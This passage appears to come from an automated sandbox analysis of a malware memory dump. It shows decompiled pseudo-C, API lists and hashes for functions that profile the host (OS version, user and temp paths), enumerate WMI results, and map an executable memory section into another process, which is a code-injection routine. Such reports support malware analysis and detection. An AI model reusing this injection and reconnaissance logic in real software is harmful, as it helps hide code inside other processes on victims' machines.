				_t98 =  *((intOrPtr*)(_t97 + 0x3c))(0x1000);
				_t26 = _t222 + 0x228; // 0x228
				 *(_t222 + 0x1850) = 0 | _t98 > 0x00000000;
				GetModuleFileNameW( *(_t222 + 0x224), _t26, 0x105);
				GetLastError();
				_t31 = _t222 + 0x228; // 0x228
				 *((intOrPtr*)(_t222 + 0x434)) = E00088F9F(_t31, _t98);
				_t34 = _t222 + 0x114; // 0x114
				_t103 = E0008B7EA(_t34,  &_v692);
				_t35 = _t222 + 0xb0; // 0xb0
				 *((intOrPtr*)(_t222 + 0xac)) = _t103;
				_push(_t35);
				E0008B6BF(_t103, _t35, _t98, _t241);
				_t37 = _t222 + 0xb0; // 0xb0
				_t105 = _t37;
				_t38 = _t222 + 0xd0; // 0xd0
				_t164 = _t38;
				if(_t105 != 0) {
					_t159 = MultiByteToWideChar(0, 0, _t105, 0xffffffff, _t164, 0x20);
					if(_t159 > 0) {
						_t164[_t159] = 0;
					}
				}
				_t41 = _t222 + 0x438; // 0x438
				_t42 = _t222 + 0x228; // 0x228
				E00088FB9(_t42, _t41);
				_t43 = _t222 + 0xb0; // 0xb0
				_t108 = E0008D442(_t43, E0008C3BB(_t43), 0);
				_t44 = _t222 + 0x100c; // 0x100c
				E0008B8CC(_t108, _t44, _t241);
				_t199 = GetCurrentProcess();
				 *((intOrPtr*)(_t222 + 0x101c)) = E0008BC21(_t110);
				memset(_t222, 0, 0x9c);
				_t224 = _t223 + 0xc;
				_t222->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t222);
				_t167 =  *0x9e684; // 0xa5f8f0
				_t115 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t167 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t167 + 0x6c))(GetCurrentProcess(),  &_v8);
					_t115 = _v8;
				}
				 *((intOrPtr*)(_t222 + 0xa8)) = _t115;
				if(_t115 == 0) {
					GetSystemInfo( &_v52);
					_t117 = _v52.dwOemId & 0x0000ffff;
				} else {
					_t117 = 9;
				}
				_t54 = _t222 + 0x1020; // 0x1020
				_t168 = _t54;
				 *(_t222 + 0x9c) = _t117;
				GetWindowsDirectoryW(_t168, 0x104);
				_t119 = E000895C2(_t199, 0x10c);
				_t200 =  *0x9e684; // 0xa5f8f0
				_t218 = _t119;
				 *_t224 = 0x104;
				_push( &_v704);
				_push(_t218);
				_v8 = _t218;
				if( *((intOrPtr*)(_t200 + 0xe0))() == 0) {
					_t154 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t154 + 0xfc))(_t218, _t168);
				}
				E000885B6( &_v8);
				_t124 =  *0x9e684; // 0xa5f8f0
				_t61 = _t222 + 0x1434; // 0x1434
				_t219 = _t61;
				 *_t224 = 0x209;
				_push(_t219);
				_push(L"USERPROFILE");
				if( *((intOrPtr*)(_t124 + 0xe0))() == 0) {
					E00089621(_t219, 0x105, L"%s\\%s", _t168);
					_t152 =  *0x9e684; // 0xa5f8f0
					_t224 =  &(_t224[5]);
					 *((intOrPtr*)(_t152 + 0xfc))(L"USERPROFILE", _t219, "TEMP");
				}
				_push(0x20a);
				_t64 = _t222 + 0x122a; // 0x122a
				_t169 = L"TEMP";
				_t127 =  *0x9e684; // 0xa5f8f0
				_push(_t169);
				if( *((intOrPtr*)(_t127 + 0xe0))() == 0) {
					_t149 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t149 + 0xfc))(_t169, _t219);
				}
				_push(0x40);
				_t220 = L"SystemDrive";
				_push( &_v180);
				_t130 =  *0x9e684; // 0xa5f8f0
				_push(_t220);
				if( *((intOrPtr*)(_t130 + 0xe0))() == 0) {
					_t147 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t147 + 0xfc))(_t220, L"C:");
				}
				_v8 = 0x7f;
				_t72 = _t222 + 0x199c; // 0x199c
				_t134 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t134 + 0xb0))(_t72,  &_v8);
				_t75 = _t222 + 0x100c; // 0x100c
				E00092339(E0008D442(_t75, E0008C3BB(_t75), 0),  &_v2680);
				_t76 = _t222 + 0x1858; // 0x1858
				E0009230B( &_v2680, _t76, 0x20);
				_t79 = _t222 + 0x1878; // 0x1878
				E0008900E(1, _t79, 0x14, 0x1e,  &_v2680);
				 *((intOrPtr*)(_t222 + 0x1898)) = E0008CD75(_t79);
				return _t222;
			}

0x0008d061
0x0008d06b
0x0008d077
0x0008d07c
0x0008d081
0x0008d441
0x0008d441
0x0008d08e
0x0008d094
0x0008d099
0x0008d09f
0x0008d0af
0x0008d0bb
0x0008d0bb
0x0008d0c4
0x0008d0ca
0x0008d0cc
0x0008d0d5
0x0008d0d5
0x0008d0e1
0x0008d0e5
0x0008d0ea
0x0008d0f0
0x0008d0f9
0x0008d107
0x0008d10e
0x0008d113
0x0008d113
0x0008d114
0x0008d0fb
0x0008d0fb
0x0008d0fb
0x0008d11a
0x0008d125
0x0008d133
0x0008d139
0x0008d13d
0x0008d143
0x0008d14a
0x0008d151
0x0008d155
0x0008d15c
0x0008d15d
0x0008d16a
0x0008d16c
0x0008d171
0x0008d17e
0x0008d180
0x0008d180
0x0008d182
0x0008d18c
0x0008d198
0x0008d1a8
0x0008d1ae
0x0008d1b4
0x0008d1b6
0x0008d1c7
0x0008d1cd
0x0008d1d3
0x0008d1d8
0x0008d1de
0x0008d1e4
0x0008d1e9
0x0008d1ee
0x0008d1ee
0x0008d1f4
0x0008d1f4
0x0008d1fd
0x0008d209
0x0008d211
0x0008d215
0x0008d215
0x0008d211
0x0008d219
0x0008d21f
0x0008d225
0x0008d22c
0x0008d23d
0x0008d243
0x0008d24b
0x0008d252
0x0008d265
0x0008d26b
0x0008d270
0x0008d273
0x0008d276
0x0008d27c
0x0008d282
0x0008d284
0x0008d28a
0x0008d293
0x0008d296
0x0008d296
0x0008d299
0x0008d2a1
0x0008d2ac
0x0008d2b2
0x0008d2a3
0x0008d2a5
0x0008d2a5
0x0008d2bb
0x0008d2bb
0x0008d2c1
0x0008d2c9
0x0008d2d4
0x0008d2d9
0x0008d2df
0x0008d2e1
0x0008d2ee
0x0008d2ef
0x0008d2f0
0x0008d2fb
0x0008d2fd
0x0008d304
0x0008d304
0x0008d30e
0x0008d313
0x0008d318
0x0008d318
0x0008d31e
0x0008d325
0x0008d326
0x0008d333
0x0008d346
0x0008d34b
0x0008d350
0x0008d359
0x0008d359
0x0008d35f
0x0008d364
0x0008d36a
0x0008d370
0x0008d375
0x0008d37e
0x0008d380
0x0008d387
0x0008d387
0x0008d38d
0x0008d395
0x0008d39a
0x0008d39b
0x0008d3a0
0x0008d3a9
0x0008d3ab
0x0008d3b6
0x0008d3b6
0x0008d3bf
0x0008d3c7
0x0008d3ce
0x0008d3d3
0x0008d3e2
0x0008d3fa
0x0008d401
0x0008d40f
0x0008d421
0x0008d428
0x0008d435
0x00000000

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

GetCurrentProcessId.KERNEL32 ref: 0008D088
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 0008D0C4
GetCurrentProcess.KERNEL32 ref: 0008D0E1
GetLastError.KERNEL32 ref: 0008D180
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 0008D1AE
GetLastError.KERNEL32 ref: 0008D1B4
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 0008D209
GetCurrentProcess.KERNEL32 ref: 0008D250
memset.MSVCRT ref: 0008D26B
GetVersionExA.KERNEL32(00000000), ref: 0008D276
GetCurrentProcess.KERNEL32(00000100), ref: 0008D290
GetSystemInfo.KERNEL32(?), ref: 0008D2AC
GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 0008D2C9

Strings

%s\%s, xrefs: 0008D33B
TEMP, xrefs: 0008D36A, 0008D375, 0008D386
USERPROFILE, xrefs: 0008D326, 0008D354
TEMP, xrefs: 0008D335
SystemDrive, xrefs: 0008D395, 0008D3A0, 0008D3B5

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CurrentProcess$ErrorFileLastModuleName$AllocateByteCharDirectoryHeapInfoMultiSystemVersionWideWindowsmemset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 3876402152-2706916422
Opcode ID: e40c67a50bcce008c50a62da1c2407cf5337aee78f815f27bd148a6aebfd20d9
Instruction ID: 9ed2d69f337547a45f1d04cc2ab2b4c9a19ce2c92f2bac6279536e5c09292047
Opcode Fuzzy Hash: e40c67a50bcce008c50a62da1c2407cf5337aee78f815f27bd148a6aebfd20d9
Instruction Fuzzy Hash: 9DB16D71600704AFE710EB74DD89FEA77E8FF58300F00452AF59AD7292EB74AA448B21

Uniqueness

Uniqueness Score: -1.00%

Function 0008DB7E, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0008DB7E(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E0008D565(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E000885E5(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E000885FB( &_v60, 0xfffffffe);
					E0008D619( &_v104);
					return _t320;
				}
				_t165 = E000895C2(_t255, 0x536);
				 *_t328 = 0x609;
				_v52 = _t165;
				_t166 = E000895C2(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E000892C6(_t165);
				_v60 = _t322;
				E000885B6( &_v52);
				E000885B6( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E000895C2(_t255, 0x9e4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E000885B6( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E000885FB( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E000891C4(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E000891C4(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E00088679(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E000885E5( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E000885FB(_t136, 0);
								E000885FB( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E000891C4(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E000895C2(_t281, 0x250);
								 *_t329 = 0x4cc;
								_t217 = E000895C2(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E000885E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E000885B6( &_v92);
											E000885B6( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E00089621();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E000885E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E000895C2(_t283, 0x219);
										E00089621( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E000885B6( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E000891C4(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E0008DA62( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E000885FB( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x0008db87
0x0008db8d
0x0008db94
0x0008db97
0x0008db9a
0x0008db9f
0x0008dba1
0x0008dba6
0x0008dfee
0x0008dfee
0x0008dbb3
0x0008dbb5
0x0008dbb8
0x0008dbbb
0x0008dfd3
0x0008dfd9
0x0008dfe3
0x00000000
0x0008dfe8
0x0008dbc6
0x0008dbcd
0x0008dbd4
0x0008dbd7
0x0008dbdc
0x0008dbde
0x0008dbe1
0x0008dbe4
0x0008dbe5
0x0008dbee
0x0008dbf4
0x0008dbf7
0x0008dc00
0x0008dc05
0x0008dc0a
0x0008dc21
0x0008dc2e
0x0008dc31
0x0008dc38
0x0008dc3d
0x0008dc44
0x0008dc49
0x0008dc50
0x0008dc52
0x0008dc5e
0x0008dc61
0x0008dc63
0x0008dfc3
0x0008dfc4
0x0008dfcd
0x00000000
0x0008dfcd
0x0008dc69
0x0008dc6c
0x0008dc6f
0x0008dc72
0x0008dc74
0x0008df8f
0x0008df92
0x0008df95
0x0008df97
0x0008dfb9
0x0008dfbe
0x0008df99
0x0008df9c
0x0008dfa7
0x0008dfae
0x0008dfae
0x00000000
0x00000000
0x00000000
0x00000000
0x0008dc7a
0x0008dc7a
0x0008dc8c
0x0008dc8f
0x0008dc91
0x00000000
0x00000000
0x0008dc99
0x0008dc9c
0x0008dc9f
0x0008dca2
0x0008dca5
0x0008dca8
0x00000000
0x00000000
0x0008dcae
0x0008dcbc
0x0008dcbf
0x0008dcc1
0x0008dcda
0x0008dce9
0x0008dcf1
0x0008dcf1
0x0008dcf4
0x0008dcfb
0x0008dcff
0x0008dd05
0x0008dd07
0x0008df77
0x0008df7d
0x0008df83
0x0008df86
0x0008df86
0x00000000
0x0008df86
0x0008dd16
0x0008dd2a
0x0008dd2e
0x0008dd30
0x0008dd35
0x0008df44
0x0008df4a
0x0008df55
0x0008df60
0x0008df66
0x0008df6c
0x0008df6f
0x00000000
0x0008df6f
0x0008dd3b
0x0008df12
0x0008df12
0x0008df15
0x0008df18
0x00000000
0x00000000
0x0008dd43
0x0008dd4b
0x0008dd52
0x0008dd58
0x0008dd5a
0x00000000
0x00000000
0x0008dd63
0x0008dd78
0x0008dd7e
0x0008dd87
0x0008dd8a
0x0008dd8d
0x0008dd8f
0x0008df05
0x0008df08
0x0008df11
0x0008df11
0x00000000
0x0008df11
0x0008dd9f
0x0008dda2
0x0008dda9
0x0008ddaf
0x0008ddb2
0x0008ddb5
0x0008ddb8
0x0008ddbb
0x0008ddf7
0x0008ddf7
0x0008ddfa
0x0008dea6
0x0008deba
0x0008deca
0x0008dece
0x0008ded0
0x0008dee7
0x0008deeb
0x0008def4
0x0008deff
0x00000000
0x0008deff
0x0008ded6
0x0008ded7
0x0008dedc
0x0008dedc
0x0008dede
0x0008dedf
0x0008dee4
0x00000000
0x0008dee4
0x0008de00
0x0008de00
0x0008de03
0x0008de6e
0x0008de82
0x0008de92
0x0008de96
0x0008de98
0x00000000
0x00000000
0x0008de9e
0x0008de9f
0x00000000
0x0008de9f
0x0008de05
0x0008de05
0x0008de08
0x00000000
0x00000000
0x0008de0a
0x0008de0d
0x00000000
0x00000000
0x0008de0f
0x0008de0f
0x0008de15
0x0008de31
0x0008de40
0x0008de49
0x0008de4e
0x0008de51
0x0008de57
0x0008de57
0x0008de5c
0x0008de68
0x00000000
0x0008de68
0x0008de1a
0x00000000
0x0008de1a
0x0008ddbd
0x0008dde4
0x0008dde9
0x0008ddee
0x0008ddf0
0x0008ddf0
0x00000000
0x0008ddee
0x0008ddbf
0x0008ddbf
0x0008ddc2
0x00000000
0x00000000
0x0008ddc8
0x0008ddc8
0x0008ddcb
0x00000000
0x00000000
0x0008ddd1
0x0008ddd1
0x0008ddd4
0x00000000
0x00000000
0x0008ddda
0x0008dddd
0x00000000
0x00000000
0x0008dddf
0x00000000
0x0008dddf
0x0008df21
0x0008df27
0x0008df2d
0x0008df30
0x0008df33
0x0008df33
0x0008df36
0x0008df37
0x0008df3a
0x0008df3c
0x00000000
0x00000000
0x0008df8c
0x0008df8c
0x00000000
0x0008df8c
0x0008dcc3
0x0008dcc9
0x00000000
0x0008dcc9
0x0008df89
0x00000000
0x0008dc0c
0x0008dc11
0x0008dc16
0x00000000
0x0008dc1a

APIs

Part of subcall function 0008D565: CoInitializeEx.OLE32(00000000,00000000), ref: 0008D578
Part of subcall function 0008D565: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0008D589
Part of subcall function 0008D565: CoCreateInstance.OLE32(0009B848,00000000,00000001,0009B858,?), ref: 0008D5A0
Part of subcall function 0008D565: SysAllocString.OLEAUT32(00000000), ref: 0008D5AB
Part of subcall function 0008D565: CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0008D5D6

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

SysAllocString.OLEAUT32(00000000), ref: 0008DC27
SysAllocString.OLEAUT32(00000000), ref: 0008DC3B
SysFreeString.OLEAUT32(?), ref: 0008DFC4
SysFreeString.OLEAUT32(?), ref: 0008DFCD

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Strings

FALSE, xrefs: 0008DDF0
TRUE, xrefs: 0008DDE9

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree$HeapInitialize$AllocateBlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 1290676130-1412513891
Opcode ID: 32fadf776f0484d181b97127a4b8a894f17a97cf6b76e3c7dd81f674fbf88a5f
Instruction ID: 73554170289a174f736e1aca8fc0718fcd4550517a85dfeebd17367b6f220d82
Opcode Fuzzy Hash: 32fadf776f0484d181b97127a4b8a894f17a97cf6b76e3c7dd81f674fbf88a5f
Instruction Fuzzy Hash: C0E14F71900619AFDF14FFE4D885EEEBBB9FF48300F14856AE546AB291DB30A905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0008C702, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 200
registryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0008C702(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr _v36;
				struct HINSTANCE__* _v40;
				char _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr _t96;
				struct HWND__* _t106;
				intOrPtr* _t113;
				struct HINSTANCE__* _t116;
				intOrPtr _t120;
				intOrPtr _t126;
				intOrPtr _t131;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t139;
				char _t140;
				intOrPtr _t141;

				_t69 =  *0x9e688; // 0xb0000
				_t126 = __ecx;
				_t134 = __edx;
				_t116 = 0;
				_v36 = __edx;
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				_v20 = __ecx;
				if(( *(_t69 + 0x1898) & 0x00000040) != 0) {
					E0008E280(0x1f4);
					_t116 = 0;
				}
				_t113 =  *((intOrPtr*)(_t134 + 0x3c)) + _t134;
				_v28 = _t116;
				if( *_t113 != 0x4550) {
					L12:
					if(_v8 != 0) {
						_t75 =  *0x9e780; // 0x0
						 *((intOrPtr*)(_t75 + 0x10))(_t126, _v8);
						_v8 = _v8 & 0x00000000;
					}
					L14:
					if(_v12 != 0) {
						_t136 =  *0x9e780; // 0x0
						 *((intOrPtr*)(_t136 + 0x10))(GetCurrentProcess(), _v12);
					}
					if(_v16 != 0) {
						_t71 =  *0x9e780; // 0x0
						 *((intOrPtr*)(_t71 + 0x20))(_v16);
					}
					return _v8;
				}
				_push(_t116);
				_push(0x8000000);
				_v44 =  *((intOrPtr*)(_t113 + 0x50));
				_push(0x40);
				_push( &_v44);
				_push(_t116);
				_push(0xe);
				_push( &_v16);
				_t80 =  *0x9e780; // 0x0
				if( *((intOrPtr*)(_t80 + 0xc))() < 0) {
					goto L12;
				}
				_v120.style = 0xb;
				_v120.cbSize = 0x30;
				_v120.lpszClassName =  &_v56;
				asm("movsd");
				_v120.lpfnWndProc = DefWindowProcA;
				asm("movsd");
				asm("movsd");
				asm("movsb");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_v120.cbWndExtra = 0;
				_v120.lpszMenuName = 0;
				_v120.cbClsExtra = 0;
				_v120.hInstance = 0;
				if(RegisterClassExA( &_v120) != 0) {
					_t106 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0);
					if(_t106 != 0) {
						DestroyWindow(_t106);
						UnregisterClassA( &_v56, 0);
					}
				}
				_t139 =  *0x9e780; // 0x0
				_push(0x40);
				_push(0);
				_push(2);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v12);
				_push(GetCurrentProcess());
				_push(_v16);
				if( *((intOrPtr*)(_t139 + 0x14))() < 0) {
					_t126 = _v20;
					goto L12;
				} else {
					_push(0x40);
					_push(0);
					_push(2);
					_push( &_v24);
					_push(0);
					_push(0);
					_push(0);
					_t126 = _v20;
					_push( &_v8);
					_t92 =  *0x9e780; // 0x0
					_push(_t126);
					_push(_v16);
					if( *((intOrPtr*)(_t92 + 0x14))() < 0) {
						goto L12;
					}
					_t140 = E0008864A( *0x9e688, 0x1ac4);
					_v32 = _t140;
					if(_t140 == 0) {
						goto L12;
					}
					 *((intOrPtr*)(_t140 + 0x224)) = _v8;
					_t95 =  *0x9e684; // 0xa5f8f0
					_t96 =  *((intOrPtr*)(_t95 + 0x54))(_t126, 0, 0x1ac4, 0x1000, 4);
					_t120 =  *0x9e684; // 0xa5f8f0
					_t131 = _t96;
					 *((intOrPtr*)(_t120 + 0x20))(_v20, _t131, _t140, 0x1ac4,  &_v28);
					E000885FB( &_v32, 0x1ac4);
					_t141 =  *0x9e688; // 0xb0000
					 *0x9e688 = _t131;
					E000886C2(_v12, _v36,  *((intOrPtr*)(_t113 + 0x50)));
					E0008C681(_v12, _v8, _v36);
					 *0x9e688 = _t141;
					goto L14;
				}
			}

0x0008c708
0x0008c70f
0x0008c711
0x0008c713
0x0008c715
0x0008c718
0x0008c71b
0x0008c71e
0x0008c721
0x0008c724
0x0008c727
0x0008c731
0x0008c734
0x0008c73b
0x0008c740
0x0008c740
0x0008c746
0x0008c748
0x0008c751
0x0008c8f7
0x0008c8fb
0x0008c900
0x0008c906
0x0008c909
0x0008c909
0x0008c90d
0x0008c912
0x0008c917
0x0008c924
0x0008c924
0x0008c92d
0x0008c92f
0x0008c937
0x0008c937
0x0008c93e
0x0008c93e
0x0008c75a
0x0008c75b
0x0008c760
0x0008c766
0x0008c768
0x0008c769
0x0008c76a
0x0008c76f
0x0008c770
0x0008c77a
0x00000000
0x00000000
0x0008c785
0x0008c78f
0x0008c799
0x0008c79c
0x0008c7a2
0x0008c7a9
0x0008c7aa
0x0008c7ab
0x0008c7b4
0x0008c7b5
0x0008c7b6
0x0008c7b8
0x0008c7bb
0x0008c7be
0x0008c7c1
0x0008c7c4
0x0008c7d0
0x0008c7f2
0x0008c7fa
0x0008c7fd
0x0008c808
0x0008c808
0x0008c7fa
0x0008c80e
0x0008c817
0x0008c819
0x0008c81a
0x0008c81c
0x0008c81d
0x0008c81e
0x0008c81f
0x0008c823
0x0008c82a
0x0008c82b
0x0008c833
0x0008c8f4
0x00000000
0x0008c839
0x0008c839
0x0008c83b
0x0008c83c
0x0008c841
0x0008c842
0x0008c843
0x0008c844
0x0008c845
0x0008c84b
0x0008c84c
0x0008c851
0x0008c852
0x0008c85a
0x00000000
0x00000000
0x0008c870
